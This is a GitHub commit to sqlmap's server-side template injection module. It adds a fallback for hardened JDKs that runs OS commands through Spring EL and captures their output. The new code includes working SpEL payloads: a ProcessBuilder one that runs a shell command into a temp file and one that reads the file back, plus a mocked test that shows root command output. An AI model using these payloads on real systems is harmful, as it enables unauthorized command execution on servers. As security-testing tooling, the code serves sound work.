Skip to content

Commit 346c9d9

Browse files
committed
Minor patch
1 parent df6c50a commit 346c9d9

3 files changed

Lines changed: 133 additions & 49 deletions

File tree

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.7.64"
23+
VERSION = "1.10.7.65"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

lib/techniques/ssti/inject.py

Lines changed: 91 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -684,6 +684,78 @@ def _canTakeover(engine, evidence):
684684
return True
685685

686686

687+
# Modern JDKs reflectively block Process.getInputStream()/waitFor() (the package-private
688+
# java.lang.ProcessImpl), so the in-band stdout-capture RCE payloads silently return NO output on any
689+
# recent JVM - the common real-world case. Two-step fallback, keyed by exact engine name: run the
690+
# command redirecting stdout+stderr to a temp file (blind exec; ProcessBuilder is public), then read
691+
# that file back via the public java.nio.file.Files API. {CMD} = shell-quoted command, {OUTFILE} = temp path.
692+
_FILE_RCE = {
693+
"Spring EL / Thymeleaf": (
694+
"${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}",
695+
"${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}",
696+
),
697+
}
698+
699+
700+
def _commandOutput(page, baseline, original, payload, engine):
701+
"""Extract genuine command output from a response via baseline diff, rejecting error pages and
702+
reflected-payload fragments. Returns the cleaned output string, or None when there is none."""
703+
if not page:
704+
return None
705+
if engine.errorRegex and _isError(page, engine):
706+
return None
707+
708+
text = getUnicode(page)
709+
baseText = getUnicode(baseline or "")
710+
output = ""
711+
712+
if baseText and text != baseText:
713+
sm = difflib.SequenceMatcher(None, baseText, text)
714+
parts = [text[j1:j2] for tag, i1, i2, j1, j2 in sm.get_opcodes() if tag in ("insert", "replace")]
715+
if parts:
716+
output = "".join(parts).strip()
717+
718+
if not output:
719+
output = text
720+
if original and output.startswith(original):
721+
output = output[len(original):]
722+
output = output.strip()
723+
724+
# A template that ECHOED our payload directive instead of executing it is reflection, not output.
725+
if output and output in payload:
726+
return None
727+
728+
if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
729+
if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
730+
return output
731+
732+
return None
733+
734+
735+
def _fileRceCapture(place, parameter, engine, original, cmd, extract):
736+
"""Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload
737+
(redirects the command's output to a random temp file), then poll-read that file. 'extract' is a
738+
callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(),
739+
so the read is retried a few times. Returns whatever 'extract' yields, else None."""
740+
spec = _FILE_RCE.get(engine.name)
741+
if not spec:
742+
return None
743+
744+
execTemplate, readTemplate = spec
745+
outFile = "/tmp/%s" % randomStr(length=12, lowercase=True)
746+
execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile)
747+
_send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored
748+
749+
readPayload = readTemplate.replace("{OUTFILE}", outFile)
750+
for _ in range(3):
751+
page = _send(place, parameter, original + readPayload)
752+
result = extract(readPayload, page)
753+
if result is not None:
754+
return result
755+
time.sleep(1)
756+
return None
757+
758+
687759
def _probeRce(place, parameter, engine):
688760
"""Benign, quiet RCE-capability check: run `echo <marker>` via the engine's RCE payloads and
689761
return True if the marker is reflected (proving OS command execution is reachable). Used only
@@ -699,62 +771,33 @@ def _probeRce(place, parameter, engine):
699771
page = _send(place, parameter, original + payload)
700772
if page and marker in getUnicode(page):
701773
return True
702-
return False
774+
775+
# in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel
776+
return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker,
777+
lambda readPayload, page: True if (page and marker in getUnicode(page)) else None))
703778

704779

705780
def _executeCommand(place, parameter, engine, cmd):
706-
"""Execute an OS command via the engine's RCE payloads, trying each fallback
707-
in order until one produces output. Captures output via baseline diff."""
781+
"""Execute an OS command via the engine's RCE payloads, trying each fallback in order until one
782+
produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened
783+
Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE)."""
708784

709785
safeCmd = _escapeSingleQuoted(cmd)
710786
original = _originalValue(place, parameter) or ""
711787
baseline = _send(place, parameter, original)
712788

713789
for payloadTemplate, description in engine.rcePayloads:
714790
payload = payloadTemplate.replace("{CMD}", safeCmd)
715-
fullPayload = original + payload
716-
page = _send(place, parameter, fullPayload)
717-
718-
if not page:
719-
continue
720-
721-
# Skip error pages (payload caused a template exception, not a shell)
722-
if engine.errorRegex and _isError(page, engine):
723-
continue
724-
725-
text = getUnicode(page)
726-
baseText = getUnicode(baseline or "")
727-
output = ""
728-
729-
if baseText and text != baseText:
730-
sm = difflib.SequenceMatcher(None, baseText, text)
731-
opcodes = sm.get_opcodes()
732-
parts = []
733-
for tag, i1, i2, j1, j2 in opcodes:
734-
if tag in ("insert", "replace"):
735-
parts.append(text[j1:j2])
736-
if parts:
737-
output = "".join(parts).strip()
738-
739-
if not output:
740-
output = text
741-
if original and output.startswith(original):
742-
output = output[len(original):]
743-
output = output.strip()
744-
745-
# A template that ECHOED our payload directive instead of executing it (e.g. a patched or
746-
# sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command
747-
# output: reject it so the loop falls through to the honest "no output received" warning
748-
# instead of presenting a reflected payload fragment as a fake command result.
749-
if output and output in payload:
750-
continue
751-
752-
# Suppress when output is just the baseline with the original value removed
753-
# (command produced no output; the template rendered empty)
754-
# Filter out template error messages masquerading as command output
755-
if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
756-
if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
757-
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
758-
return
791+
page = _send(place, parameter, original + payload)
792+
output = _commandOutput(page, baseline, original, payload, engine)
793+
if output is not None:
794+
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
795+
return
796+
797+
output = _fileRceCapture(place, parameter, engine, original, cmd,
798+
lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine))
799+
if output is not None:
800+
conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output))
801+
return
759802

760-
logger.warning("no output received for OS command '%s' (tried %d payload(s))" % (cmd, len(engine.rcePayloads)))
803+
logger.warning("no output received for OS command '%s'" % cmd)

tests/test_ssti.py

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -575,3 +575,44 @@ def test_mako_distinguished_from_freemarker_spring(self):
575575
result, evidence = ssti._fingerprint("GET", "q")
576576
self.assertEqual(result.name, "Mako")
577577
self.assertTrue(evidence.get("boolean"))
578+
579+
580+
class TestFileBasedRce(unittest.TestCase):
581+
"""Two-step file-based RCE fallback (_FILE_RCE) for JDK-hardened Java engines: modern JVMs
582+
reflectively block Process.getInputStream(), so in-band stdout capture errors out; exec-to-tempfile
583+
then read-file must still recover the command output."""
584+
585+
def setUp(self):
586+
from lib.core.data import conf
587+
self._send = ssti._send
588+
self._dumper = conf.dumper
589+
captured = self.captured = []
590+
591+
class _Dumper(object):
592+
def singleString(self, text, **kwargs):
593+
captured.append(text)
594+
595+
conf.dumper = _Dumper()
596+
597+
def tearDown(self):
598+
from lib.core.data import conf
599+
ssti._send = self._send
600+
conf.dumper = self._dumper
601+
602+
def test_spel_output_via_file_when_inband_blocked(self):
603+
engine = next(e for e in ssti._ENGINE_TABLE if e.name == "Spring EL / Thymeleaf")
604+
self.assertIn(engine.name, ssti._FILE_RCE) # engine wired for the two-step fallback
605+
606+
def mock(place, parameter, value):
607+
if "ProcessBuilder" in value: # exec step: launches (render error, ignored)
608+
return "org.springframework.expression.spel.SpelEvaluationException: EL1001E"
609+
if "readAllBytes" in value: # read step: the temp file's content
610+
return "Hello uid=0(root) gid=0(root)"
611+
if "Runtime" in value or "getInputStream" in value: # in-band capture blocked on hardened JDK
612+
return "org.springframework.expression.spel.SpelEvaluationException: EL1029E"
613+
return "Hello " # baseline / original value
614+
615+
ssti._send = mock
616+
ssti._executeCommand("GET", "q", engine, "id")
617+
self.assertTrue(any("uid=0(root)" in _ for _ in self.captured),
618+
msg="two-step file-based RCE did not surface command output: %r" % self.captured)

0 commit comments

Comments
 (0)